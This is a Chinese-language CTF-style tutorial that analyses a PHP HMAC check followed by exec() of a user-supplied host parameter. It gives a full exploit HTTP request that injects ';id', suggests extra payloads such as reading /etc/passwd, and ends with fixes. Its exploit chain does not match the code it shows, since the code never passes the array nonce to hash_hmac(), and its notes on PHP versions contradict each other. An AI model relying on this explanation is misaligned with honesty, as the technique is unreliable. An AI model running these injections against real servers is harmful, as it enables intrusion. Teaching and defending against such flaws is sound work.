安全小游戏:寻找漏洞
字数 1439 2025-08-18 11:39:30
PHP HMAC 漏洞分析与利用教学文档
0x1 漏洞代码分析
<?php
if (empty($_POST['hmac']) || empty($_POST['host'])) {
header('HTTP/1.0 400 Bad Request');
exit;
}
$secret = getenv("SECRET");
if (isset($_POST['nonce']))
$secret = hash_hmac('sha256', $_POST['host'], $secret);
$hmac = hash_hmac('sha256', $_POST['host'], $secret);
if ($hmac !== $_POST['hmac']) {
header('HTTP/1.0 403 Forbidden');
exit;
}
echo exec("host ".$_POST['host']);
?>
0x2 代码功能解析
这段代码实现了一个基于HMAC的身份验证机制,最终目标是执行host命令。主要流程如下:
- 检查
hmac和hostPOST参数是否为空 - 从环境变量获取
SECRET - 如果提供了
nonce参数,则用host和当前secret生成新的secret - 用
host和secret生成hmac - 验证客户端提供的
hmac是否与生成的hmac匹配 - 如果验证通过,执行
host命令
0x3 漏洞点分析
3.1 主要漏洞点
-
类型混淆漏洞:当
nonce参数被设置为数组时,isset($_POST['nonce'])返回true,但hash_hmac()函数接收到数组参数会返回NULL -
命令注入漏洞:
exec("host ".$_POST['host'])直接拼接用户输入,存在命令注入风险
3.2 漏洞利用链
- 通过传递数组类型的
nonce参数使hash_hmac()返回NULL - 当
secret为NULL时,计算出的hmac是固定值 - 绕过HMAC验证
- 在
host参数中注入命令
0x4 漏洞利用详细步骤
4.1 使secret变为NULL
发送POST请求时,将nonce设置为数组:
nonce[]=1
这将导致:
$secret = hash_hmac('sha256', $_POST['host'], $secret); // 返回NULL
4.2 计算固定HMAC值
当secret为NULL时,hash_hmac('sha256', $data, NULL)会返回固定值:
58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1
4.3 构造恶意请求
完整利用请求:
POST /vulnerable.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
hmac=58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1&host=;id&nonce[]=1
4.4 命令注入
host参数设置为;id,最终执行的命令为:
host ;id
这将先执行host命令,然后执行id命令显示当前用户信息。
0x5 漏洞修复方案
5.1 修复HMAC验证
- 严格检查输入参数类型:
if (!is_string($_POST['nonce'])) {
header('HTTP/1.0 400 Bad Request');
exit;
}
- 使用恒等比较(
!==)是正确的,但需要确保所有输入都是预期类型
5.2 修复命令注入
- 使用escapeshellarg()过滤输入:
echo exec("host ".escapeshellarg($_POST['host']));
- 或者使用白名单过滤:
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $_POST['host'])) {
header('HTTP/1.0 400 Bad Request');
exit;
}
0x6 深入理解
6.1 PHP类型杂耍(Type Juggling)
PHP是弱类型语言,比较时会自动进行类型转换。虽然这里使用了!==避免了类型转换问题,但通过使函数返回NULL绕过了安全机制。
6.2 hash_hmac()函数行为
当hash_hmac()的$key参数为NULL或非字符串时:
- PHP 7.2+:抛出Warning并返回false
- PHP 5.x:静默返回NULL
6.3 isset()与empty()的区别
isset()检查变量是否已设置且不为NULLempty()检查变量是否为"空"值(0, "", NULL, false, array()等)
0x7 扩展利用
7.1 其他可能利用方式
- 使用
||代替;进行命令连接 - 注入其他命令如
cat /etc/passwd - 使用反引号执行命令
7.2 防御建议
- 始终验证输入数据类型
- 使用参数化查询或严格过滤所有外部输入
- 最小化使用危险函数(exec, system, passthru等)
- 实施最小权限原则
0x8 总结
这个漏洞展示了两个关键安全问题:
- PHP类型处理不当导致的安全绕过
- 未过滤用户输入导致的命令注入
通过精心构造的数组参数和命令注入,攻击者可以完全绕过HMAC验证机制并执行任意系统命令。修复时需要同时解决这两个问题才能确保系统安全。